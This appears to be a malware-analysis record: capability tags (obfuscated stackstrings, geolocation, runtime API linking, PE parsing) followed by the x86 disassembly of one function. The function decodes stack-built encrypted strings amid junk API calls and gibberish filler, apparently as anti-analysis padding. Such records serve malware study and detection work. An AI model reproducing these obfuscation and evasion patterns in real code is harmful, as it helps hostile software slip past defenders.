Function at 0x402630
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get geographical location
Link many functions at runtime
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8c1c
call fcn.004110d0
mov eax, dword [0x42b5cc]
push ebx
mov bl, 0xe8
push esi
mov dl, 0xca
mov cl, 0xf4
mov dword [ebp - 4], eax
push edi
mov byte [ebp - 0x90], 0x30
mov byte [ebp - 0x8f], 0x77
mov byte [ebp - 0x8e], 0xdb
mov byte [ebp - 0x8d], 0x3e
mov byte [ebp - 0x8c], 0x29
mov byte [ebp - 0x8b], 0xc9
mov byte [ebp - 0x8a], 0x64
mov byte [ebp - 0x89], 6
mov byte [ebp - 0x88], 0x4d
mov byte [ebp - 0x87], 0xd8
mov byte [ebp - 0x86], 0xe2
mov byte [ebp - 0x85], 0x23
mov byte [ebp - 0x84], 0x6f
mov byte [ebp - 0x83], 0x54
mov byte [ebp - 0x82], 0xa4
mov byte [ebp - 0x70], 0x25
mov byte [ebp - 0x6f], 0x6c
mov byte [ebp - 0x6e], 0xcc
mov byte [ebp - 0x6d], 0x2b
mov byte [ebp - 0x6c], 0x28
mov byte [ebp - 0x6b], 0xcd
mov byte [ebp - 0x6a], 0x58
mov byte [ebp - 0x69], 0x35
mov byte [ebp - 0x68], 0x4e
mov byte [ebp - 0x67], 0xd7
mov byte [ebp - 0x66], bl
mov byte [ebp - 0x65], 0x33
mov byte [ebp - 0x64], 0x1c
mov byte [ebp - 0xb4], 0x34
mov byte [ebp - 0xb3], 0x60
mov byte [ebp - 0xb2], dl
mov byte [ebp - 0xb1], 0xb
mov byte [ebp - 0xb0], 0x35
mov byte [ebp - 0xaf], 0xde
mov byte [ebp - 0xae], 0x51
mov byte [ebp - 0xad], 0x15
mov byte [ebp - 0xac], 0x46
mov byte [ebp - 0xab], 0xf8
mov byte [ebp - 0xaa], bl
mov byte [ebp - 0xa9], 0x3e
mov byte [ebp - 0xa8], 0x68
mov byte [ebp - 0xa7], 0x66
mov byte [ebp - 0xa6], 0xdc
mov byte [ebp - 0xa5], 0xb1
mov byte [ebp - 0xa4], 0xea
mov byte [ebp - 0xdc], 0x21
mov byte [ebp - 0xdb], 0x60
mov byte [ebp - 0xda], 0xdf
mov byte [ebp - 0xd9], 0x3b
mov byte [ebp - 0xd8], 0xd
mov byte [ebp - 0xd7], 0xde
mov byte [ebp - 0xd6], 0x5b
mov byte [ebp - 0xd5], 0x17
mov byte [ebp - 0xd4], 0x47
mov byte [ebp - 0xd3], 0xc8
mov byte [ebp - 0xd2], cl
mov byte [ebp - 0xd1], 0x1d
mov byte [ebp - 0xd0], 0x79
mov byte [ebp - 0xcf], 0x6e
mov byte [ebp - 0xce], 0xcb
mov byte [ebp - 0xcd], 0xb7
mov byte [ebp - 0xcc], 0x93
mov byte [ebp - 0xcb], 0xb8
mov byte [ebp - 0x11c], 0x3d
mov byte [ebp - 0x11b], 0x71
mov byte [ebp - 0x11a], 0xeb
mov byte [ebp - 0x119], 0x31
mov byte [ebp - 0x118], 0x30
mov byte [ebp - 0x117], 0xcd
mov byte [ebp - 0x116], 0x44
mov byte [ebp - 0x115], 0x22
mov al, 0x50
mov byte [ebp - 0x114], 0x4b
mov byte [ebp - 0x113], 0xde
mov byte [ebp - 0x112], pe_nt_image_headers32
mov byte [ebp - 0x111], 0x1f
mov byte [ebp - 0x110], 0x7a
mov byte [ebp - 0x10f], al
mov byte [ebp - 0x10e], 0xc1
mov byte [ebp - 0x10d], 0xa6
mov byte [ebp - 0x10c], 0x9e
mov byte [ebp - 0x10b], 0xd1
mov byte [ebp - 0x10a], 0x11
mov byte [ebp - 0x109], 0xe5
mov byte [ebp - 0x108], 0xd8
mov byte [ebp - 0xa0], 0x25
mov byte [ebp - 0x9f], 0x6c
mov byte [ebp - 0x9e], 0xcc
mov byte [ebp - 0x9d], 0x2b
mov byte [ebp - 0x9c], 0x28
mov byte [ebp - 0x9b], 0xcd
mov byte [ebp - 0x9a], 0x58
mov byte [ebp - 0x99], 0x35
mov byte [ebp - 0x98], 0x4e
mov byte [ebp - 0x97], 0xd7
mov byte [ebp - 0x96], bl
mov byte [ebp - 0x95], 0x33
mov byte [ebp - 0x94], 0x59
mov byte [ebp - 0x93], 0x7b
mov byte [ebp - 0x92], 0xa4
mov byte [ebp - 0x104], 0x24
mov byte [ebp - 0x103], 0x77
mov byte [ebp - 0x102], 0xd7
mov byte [ebp - 0x101], 0x2b
mov byte [ebp - 0x100], 0x38
mov byte [ebp - 0xff], 0xfc
mov byte [ebp - 0xfe], 0x46
mov byte [ebp - 0xfd], 0x1b
mov byte [ebp - 0xfc], 0x41
mov byte [ebp - 0xfb], 0xde
mov byte [ebp - 0xfa], cl
mov byte [ebp - 0xf9], 0x23
mov byte [ebp - 0xf8], 0x51
mov byte [ebp - 0xf7], 0x66
mov byte [ebp - 0xf6], 0xc9
mov byte [ebp - 0xf5], 0xaa
mov byte [ebp - 0xf4], 0x98
mov byte [ebp - 0xf3], 0xc1
mov byte [ebp - 0xf2], 0x7e
mov byte [ebp - 0xc8], 0x20
mov byte [ebp - 0xc7], 0x60
mov byte [ebp - 0xc6], dl
mov byte [ebp - 0xc5], 0xb
mov byte [ebp - 0xc4], 0x35
mov byte [ebp - 0xc3], 0xde
mov byte [ebp - 0xc2], 0x51
mov byte [ebp - 0xc1], 0x15
mov byte [ebp - 0xc0], 0x46
mov byte [ebp - 0xbf], 0xf8
mov byte [ebp - 0xbe], bl
mov byte [ebp - 0xbd], 0x3e
mov byte [ebp - 0xbc], 0x68
mov byte [ebp - 0xbb], 0x66
mov byte [ebp - 0xba], 0xdc
mov byte [ebp - 0xb9], 0xb1
mov byte [ebp - 0xb8], 0xea
mov byte [ebp - 0x50], 0x21
mov byte [ebp - 0x4f], 0x60
mov byte [ebp - 0x4e], 0xcd
mov byte [ebp - 0x4d], 0x2a
mov byte [ebp - 0x4c], 0x30
mov byte [ebp - 0x4b], 0xc9
mov byte [ebp - 0x4a], 0x60
mov byte [ebp - 0x49], 0x1c
mov byte [ebp - 0x48], al
mov byte [ebp - 0x47], 0xde
mov byte [ebp - 0x46], 0xe6
mov byte [ebp - 0x45], 0x34
mov byte [ebp - 0x44], 0x1c
mov byte [ebp - 0x10], 0x38
mov byte [ebp - 0xf], 0x60
mov byte [ebp - 0xe], 0xcc
mov byte [ebp - 0xd], 0x31
mov byte [ebp - 0xc], 0x38
mov byte [ebp - 0xb], 0xc0
mov byte [ebp - 0xa], 7
mov byte [ebp - 9], 0x46
mov byte [ebp - 8], 0x22
mov byte [ebp - 0x18], 0x1d
mov byte [ebp - 0x17], 0x71
mov byte [ebp - 0x16], 0xda
mov byte [ebp - 0x15], 0x33
mov byte [ebp - 0x14], 0x31
mov byte [ebp - 0x13], 0xac
mov byte [ebp - 0x30], 0x3c
mov byte [ebp - 0x2f], 0x75
mov byte [ebp - 0x2e], 0xdb
mov byte [ebp - 0x2d], 0x31
mov byte [ebp - 0x2c], 0xd
mov byte [ebp - 0x2b], 0xde
mov byte [ebp - 0x2a], 0x5b
mov byte [ebp - 0x29], 0x17
mov byte [ebp - 0x28], 0x47
mov byte [ebp - 0x27], 0xc8
mov byte [ebp - 0x26], cl
mov byte [ebp - 0x25], al
mov byte [ebp - 0x40], 0x20
mov byte [ebp - 0x3f], 0x60
mov byte [ebp - 0x3e], dl
mov byte [ebp - 0x3d], 0x1a
mov byte [ebp - 0x3c], 0x2f
mov byte [ebp - 0x3b], 0xde
mov byte [ebp - 0x3a], 0x5b
mov byte [ebp - 0x39], 6
mov byte [ebp - 0x38], 0x6f
mov byte [ebp - 0x37], 0xd4
mov byte [ebp - 0x36], 0xe3
mov byte [ebp - 0x35], 0x35
mov byte [ebp - 0x34], 0x1c
mov byte [ebp - 0x60], 0x30
mov byte [ebp - 0x5f], 0x77
mov byte [ebp - 0x5e], 0xdb
mov byte [ebp - 0x5d], 0x3e
mov byte [ebp - 0x5c], 0x29
mov byte [ebp - 0x5b], 0xc9
mov byte [ebp - 0x5a], 0x79
mov byte [ebp - 0x59], 1
mov byte [ebp - 0x58], 0x56
mov byte [ebp - 0x57], 0xde
mov byte [ebp - 0x56], 0xff
mov byte [ebp - 0x55], 0x11
mov byte [ebp - 0x54], 0x1c
mov byte [ebp - 0x24], 0x36
mov byte [ebp - 0x23], 0x7d
mov byte [ebp - 0x22], 0xd7
mov byte [ebp - 0x21], 0x2b
mov byte [ebp - 0x20], 0xd
mov byte [ebp - 0x1f], 0xde
mov byte [ebp - 0x1e], 0x5b
mov byte [ebp - 0x1d], 0x17
mov byte [ebp - 0x1c], 0x47
mov byte [ebp - 0x1b], 0xc8
mov byte [ebp - 0x1a], cl
mov byte [ebp - 0x19], al
mov byte [ebp - 0x80], 0x21
mov byte [ebp - 0x7f], 0x60
mov byte [ebp - 0x7e], 0xd2
mov byte [ebp - 0x7d], 0x3a
mov byte [ebp - 0x7c], 0x3c
mov byte [ebp - 0x7b], 0xdf
mov byte [ebp - 0x7a], 0x51
mov byte [ebp - 0x79], 0x39
mov byte [ebp - 0x78], 0x57
mov byte [ebp - 0x77], 0xcf
mov byte [ebp - 0x76], 0xe2
mov byte [ebp - 0x75], 0x28
mov byte [ebp - 0x74], 0x1c
mov byte [ebp - 0xf0], 0x34
mov byte [ebp - 0xef], 0x60
mov byte [ebp - 0xee], dl
mov byte [ebp - 0xed], 0x12
mov byte [ebp - 0xec], 0x32
mov byte [ebp - 0xeb], 0xc8
mov ecx, 0x14
mov esi, str.Fwcuvumebiyeeeeinanaknlusiadcapoeeouxjhv
lea edi, [ebp - 0xc38]
rep movsd dword es:[edi], dword [esi]
push str.Uekfcen
push str.Jieciuf
push 0xe144
push str._d_Rai__s_Ooaex_Me_Kba__s_H_Husau
lea eax, [ebp - 0xc38]
push 0x28
push eax
mov byte [ebp - 0xea], 0x41
mov byte [ebp - 0xe9], 0x18
mov byte [ebp - 0xe8], 0x47
mov byte [ebp - 0xe7], 0xfd
mov byte [ebp - 0xe6], 0xee
mov byte [ebp - 0xe5], 0x3c
mov byte [ebp - 0xe4], 0x79
mov byte [ebp - 0xe3], 0x4d
mov byte [ebp - 0xe2], 0xc5
mov byte [ebp - 0xe1], 0xa8
mov byte [ebp - 0xe0], 0x8f
mov byte [ebp - 0xdf], 0xef
mov byte [ebp - 0xde], 0x7e
movsw word es:[edi], word [esi]
call fcn.0040d97b
push 0x3c2
call fcn.0040db03
mov edx, eax
add esp, 0x1c
test edx, edx
je 0x402c2b
mov eax, 0xd7d7d7d7
mov edi, edx
mov ecx, 0xdf
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0xc7
mov eax, 0xcacacaca
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
mov esi, 6
xor ebx, ebx
push 0x295
call fcn.0040db03
mov edx, eax
add esp, 4
cmp edx, ebx
je 0x402cba
mov edi, edx
mov ecx, 0x6e
mov eax, 0xdfdfdfdf
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, edx
mov ecx, 0xcfcfcfcf
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], ecx
mov ecx, 0x52525252
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov byte [eax + 0x18], cl
mov ecx, 0x68686868
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x1c], ecx
mov word [eax + 0x20], cx
mov edi, edx
mov ecx, 0x85
mov eax, 0x68686868
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x402c32
push 0x9e5f
push 0x45d1
push 0x46e5
push 0xd637
push 0x8648
mov byte [ebp - 0x6e4], 0
xor eax, eax
mov ecx, 0xf
lea edi, [ebp - 0x6e3]
rep stosd dword es:[edi], eax
push str.Deufxufxa
push str.Beayqes__s_Si__d_Zo_Qiqoxasgui__d_Z_Uugpfok__d_Gkghiutoo__d_Dus__d_Boio_Uuouwe
lea ecx, [ebp - 0x6e4]
push 0x3e
push ecx
stosw word es:[edi], ax
call fcn.0040db84
mov ecx, 0x94
mov esi, str.Sueioijuoicieavftadoobcaoiaufebehimadonsdaboaesieuiufeiirldezcieqeruxclapuktjouuyupuqfbesuhlnngidijeyojeumcoruioxurioacespdibugeexwiqmuggewsetjocmoevudzuewuwaeefejiaecicavjwalegoqikyaulaceousaoloeougiappaqoijjoqupoyelhypiozedbhioeguqiiuizmouffhtocospjacsruhagerptocumkrumacokanewaoovdrveapuhawohf
lea edi, [ebp - 0x3460]
rep movsd dword es:[edi], dword [esi]
add esp, 0x24
push 0x29
lea edx, [ebp - 0x3460]
push edx
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push 0x4ab
call fcn.0040db03
mov edx, eax
add esp, 4
cmp edx, ebx
je 0x402d79
mov eax, 0xadadadad
mov edi, edx
mov ecx, 0xec
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x10f
mov eax, 0xd4d4d4d4
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x24242424
mov edi, edx
mov ecx, 0x65
push edx
rep stosd dword es:[edi], eax
call fcn.0040d9eb
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_GetDateFormatA]
mov esi, 6
push 0xfc
push str.Jwoqcaoeakoiueimseidcobedueeeeeoipqiwcpzmepuuopupukiredelibesjjjnuyeelwakzoofujcxiqovdaumugefakuxuoacaxgquyidojmzahmoaquknpfcuguibgorioaqozibaaalfcxuioiaboajkeemuiapufutvowiiaapvnuoeeozixvdobivaejeouiepviyooemeeeuoxereviiajkouriepatuisviamabiielejsmlaiuoaajabebojisefpoaifieyuhqoudalalgjaepeubulooibaiauwfemaaqfiuuomzicjbefeepmxmanecujidavowuycuhtikuuooacokebigooeuuiumrtoboussuamaodiiutunutrunniziabzeyeouhueeuulazdoixaticeziyaiklumiiuwasriojiriiiuijeuepabueieojpuxwudzymguhternoweuoouzijaxaeivanefaucsomsnunapeioiebecinetxvuziffoahifujoxafkotmurwwejuxaxooonufejozeeepueiohsatomaxi
push ebx
push ebx
push 2
push 0x800
call edi
dec esi
jne 0x402d84
mov esi, 6
push 0x263
call fcn.0040db03
mov edx, eax
add esp, 4
cmp edx, ebx
je 0x402dda
mov eax, 0xdcdcdcdc
mov edi, edx
mov ecx, 0x7a
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x91
mov eax, 0x30303030
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x402da1
push 0x17a
push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
push ebx
push ebx
push 2
push 0x800
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov dword [0x6e9a24], eax
push 0xf
lea eax, [ebp - 0x90]
push eax
push 0x100
push 0x52d7c0
call fcn.00401e80
add esp, 0x10
xor eax, eax
mov word [ebp - 0x8c18], bx
mov ecx, 0x36b
lea edi, [ebp - 0x8c16]
push 0x6d7
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x8c18]
push ecx
push 0xc
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ecx, 0x1c
mov esi, str.Goledurueazewsdivujaaxuewhinsouezzgasolrjotedqreqfiolodoyugobfiiuizcamzaxtdfqumuaaaerkuvhuiodlvutyiobauolusegvdf
lea edi, [ebp - 0x1340]
rep movsd dword es:[edi], dword [esi]
push str.Hitlhohu
push str._s_Ooianoc
lea edx, [ebp - 0x1340]
push 0x70
push edx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
mov ecx, 0x13
mov esi, str.Ymiahapugbbumoiusobeaieuquebtubhobdioieonuvuyckufooufinenizioiammonouaaesiyeia
lea edi, [ebp - 0xb14]
rep movsd dword es:[edi], dword [esi]
push 0xc53c
push 0x67f3
push 0xcc
push str.Dckzzovo
movsw word es:[edi], word [esi]
push str._s_Vhayj_Leuz__d_Mele__d_Bsfiuo__d_Wbouiihdh_Xauevo
lea eax, [ebp - 0xb14]
push 0x4e
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040db84
push 0xcde6
push str.Wuoauovwen
push 0x42742c
push 0x5325
mov word [ebp - 0x12cc], bx
xor eax, eax
mov ecx, 0x29
lea edi, [ebp - 0x12ca]
rep stosd dword es:[edi], eax
push 0x41c3
push str.Jlzb__d_Pooeda__d_Ntt__s_Gi_Loymzofe__s_Musi__d_Rl_Pogmguhjd
lea ecx, [ebp - 0x12cc]
push 0x53
push ecx
stosw word es:[edi], ax
call fcn.0040d97b
mov edx, dword [str.Katleibhuql]
mov eax, dword [0x4273a4]
mov ecx, dword [0x4273a8]
add esp, 0x4c
push str.Keofhu
push 0xe916
push str._d_Tyoenisoe__s_Wony_Meordun_Dueip
mov dword [ebp - 0x1bc], edx
push 0xb
lea edx, [ebp - 0x1bc]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], ecx
push edx
call fcn.0040db84
push 0x5bb
call fcn.0040db03
mov edx, eax
add esp, 0x18
cmp edx, ebx
je 0x402f80
mov edi, edx
mov ecx, 0x102
mov eax, 0xdadadada
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x42
mov eax, 0x8b8b8b8b
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0xcf
mov eax, 0x54545454
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
push 0xd
lea eax, [ebp - 0x70]
push eax
push 0x100
push 0x52d7c0
call fcn.00401e80
add esp, 0x10
mov esi, 9
lea ecx, [ecx]
push 0x33b
call fcn.0040db03
mov edx, eax
add esp, 4
cmp edx, ebx
je 0x40301c
mov edi, edx
mov ecx, 0x37
mov eax, 0x47474747
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x5e
mov eax, 0x2d2d2d2d
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x14
mov eax, 0x43434343
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x88
mov eax, 0xc3c3c3c3
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x54
mov eax, 0xe3e3e3e3
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x77
mov eax, 0x4c4c4c4c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x402fa0
mov byte [ebp - 0x4580], 0
xor eax, eax
mov ecx, 0x1d3
lea edi, [ebp - 0x457f]
rep stosd dword es:[edi], eax
push 0x74e
lea ecx, [ebp - 0x4580]
push ecx
push 0xc
push 0x800
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push str.Huogiu
push str._s_Sji_Qooc
lea edx, [ebp - 0x710]
push 0x15
mov ecx, 0xb
mov esi, str.Vloemeuaeveoaiumioapo
lea edi, [ebp - 0x710]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.0040d97b
add esp, 0x10
mov ebx, 8
mov esi, 2
push 0x2fa
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x4030b0
mov eax, 0x8f8f8f8f
mov edi, edx
mov ecx, 0xb9
push edx
rep stosd dword es:[edi], eax
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x403086
dec ebx
jne 0x403081
push 3
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xdf
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x403109
mov eax, 0x62626262
mov edi, edx
mov ecx, 0x37
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x30
mov eax, 0xa1a1a1a1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x10
mov eax, 0xa6a6a6a6
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_GetACP]
mov esi, 3
call edi
dec esi
jne 0x403114
push 0x11
lea eax, [ebp - 0xb4]
push eax
push 0x100
push 0x52d7c0
call fcn.00401e80
push 0x23c
call fcn.0040db03
mov edx, eax
add esp, 0x14
test edx, edx
je 0x40315e
mov edi, edx
mov ecx, 0x6b
mov eax, 0xa5a5a5a5
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
push str.Kudiziqde
mov ecx, 0xc
mov esi, str.Jeyeyefeuuaunjuuhipozobeybigiaciaauuiuolzavdauk
lea edi, [ebp - 0x208]
push str._s_Lonjuobeea_Nenuxueaia_At
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x208]
push 0x2f
push ecx
call fcn.0040db84
push str.Botuoixa
push 0x4272b8
mov byte [ebp - 0x448], 0
xor eax, eax
mov ecx, 0xa
lea edi, [ebp - 0x447]
push 0xf85e
rep stosd dword es:[edi], eax
push str._d_Sloduadk__s_Waiu__s_Ui_Mqilcez
lea edx, [ebp - 0x448]
push 0x2a
push edx
stosw word es:[edi], ax
call fcn.0040db84
push 0x64e
call fcn.0040db03
mov edx, eax
xor ebx, ebx
add esp, 0x2c
cmp edx, ebx
je 0x4031ff
mov eax, 0x66666666
mov edi, edx
mov ecx, 0x163
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x165
mov eax, 0x7d7d7d7d
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
mov ecx, 8
mov esi, str.Vaisnicynsqeaiqi
lea edi, [ebp - 0x59c]
push 0x11
rep movsd dword es:[edi], dword [esi]
push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
push 0x11
lea eax, [ebp - 0x59c]
push eax
push 1
push 0x800
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_CompareStringW]
mov esi, 2
push 0x743
call fcn.0040db03
mov edx, eax
add esp, 4
cmp edx, ebx
je 0x40327c
mov edi, edx
mov ecx, 0x175
mov eax, 0x8c8c8c8c
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, 0x7e7e7e7e
mov edi, edx
mov ecx, 0xa7
rep stosd dword es:[edi], eax
mov eax, 0x47474747
mov edi, edx
mov ecx, 0x1ba
push edx
rep stosd dword es:[edi], eax
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x403235
mov ecx, 0x17
mov esi, str.Zproiedassiudgzufevqoaduechrnectixooxuweeuaqouxitcumwazihodouiivhaliuawocxoiauxditdavfaoxenvu
lea edi, [ebp - 0xe24]
rep movsd dword es:[edi], dword [esi]
push 0xc349
push 0xc238
push str.Moolti
push str.Jpnimexai__s_E_Xa__d_M_Qeaeviv__d_Riooc
lea ecx, [ebp - 0xe24]
push 0x5d
push ecx
movsw word es:[edi], word [esi]
call fcn.0040db84
push 0x3e4
call fcn.0040db03
mov edx, eax
add esp, 0x1c
cmp edx, ebx
je 0x40331e
mov eax, 0x4040404
mov edi, edx
mov ecx, 0xaf
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x63
mov eax, 0xf8f8f8f8
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0x10101010
mov edi, edx
mov ecx, 0x28
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0xb6
mov eax, 0x99999999
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0xc8
mov eax, 0x78787878
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
push 0x205
mov ecx, 0xa4
mov esi, str.Nuticibweckowbisouuaukzoobaesorifgcomkaiuaoaoiaixnueraapeaxijapelopoueiaqvaphiuieauahiaaboyujeaiouiezuskivweneuojizieqlafoonjaiisqdeyuiocibuuzhirbageocbuktinisthizimevinovolauineeeceaepogoounujeilyidhiqwoqaonkegoaosabocgeexuuaoibipspeaioofaigedmedtukauantqkuwllioogaakqieaihnoeaeeqagqqovipzuixozcuucodoouootvmmuedheitefuyazokpe
lea edi, [ebp - 0x2eb8]
rep movsd dword es:[edi], dword [esi]
xor eax, eax
lea edx, [ebp - 0x3e30]
push edx
mov word [ebp - 0x3e30], bx
mov ecx, 0x102
lea edi, [ebp - 0x3e2e]
push ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2eb8]
push eax
push ebx
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
mov word [ebp - 0x4c8], bx
xor eax, eax
mov ecx, 0xb
lea edi, [ebp - 0x4c6]
rep stosd dword es:[edi], eax
push 0xd1a1
push str._d_K_Uyo
lea ecx, [ebp - 0x4c8]
push 0x17
push ecx
stosw word es:[edi], ax
call fcn.0040d97b
push 0x6da
call fcn.0040db03
mov edx, eax
add esp, 0x14
cmp edx, ebx
je 0x4033d3
mov edi, edx
mov ecx, 0x12d
mov eax, 0xb6b6b6b6
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0xde
mov eax, 0x9c9c9c9c
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
push 0x12
lea edx, [ebp - 0xdc]
push edx
push 0x100
push 0x52d7c0
call fcn.00401e80
add esp, 0x10
push 0x61
lea eax, [ebp - 0x2024]
mov ecx, 0x5d
mov esi, str.Vkiuvihipiuifaoiougioiuoiuucoapiazioiuneeevoewoafepifowaoiliimuiromeodzugeaazoounoholaoziekoiezimcivuiwobugekgavzadoevriikvoeexzootorqcoqelxoizibductejyqeyukcaxbokjbbxavemodijxaijeceockoqyoinuaaiuqezeexqofyaasajcwfaiyiopjiogfalompiipaieveiulujveezuljguricededfoaruaoowbugeomdadsieeakuiiqaeajhtillabeucaeofamgjubiuizmdomewecuxwlsbafocukaqiouuulaeuxiheaogorfeidalfiioimeofq
lea edi, [ebp - 0x2024]
push eax
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push 0x1c2
push str.Jwoqcaoeakoiueimseidcobedueeeeeoipqiwcpzmepuuopupukiredelibesjjjnuyeelwakzoofujcxiqovdaumugefakuxuoacaxgquyidojmzahmoaquknpfcuguibgorioaqozibaaalfcxuioiaboajkeemuiapufutvowiiaapvnuoeeozixvdobivaejeouiepviyooemeeeuoxereviiajkouriepatuisviamabiielejsmlaiuoaajabebojisefpoaifieyuhqoudalalgjaepeubulooibaiauwfemaaqfiuuomzicjbefeepmxmanecujidavowuycuhtikuuooacokebigooeuuiumrtoboussuamaodiiutunutrunniziabzeyeouhueeuulazdoixaticeziyaiklumiiuwasriojiriiiuijeuepabueieojpuxwudzymguhternoweuoouzijaxaeivanefaucsomsnunapeioiebecinetxvuziffoahifujoxafkotmurwwejuxaxooonufejozeeepueiohsatomaxi
push ebx
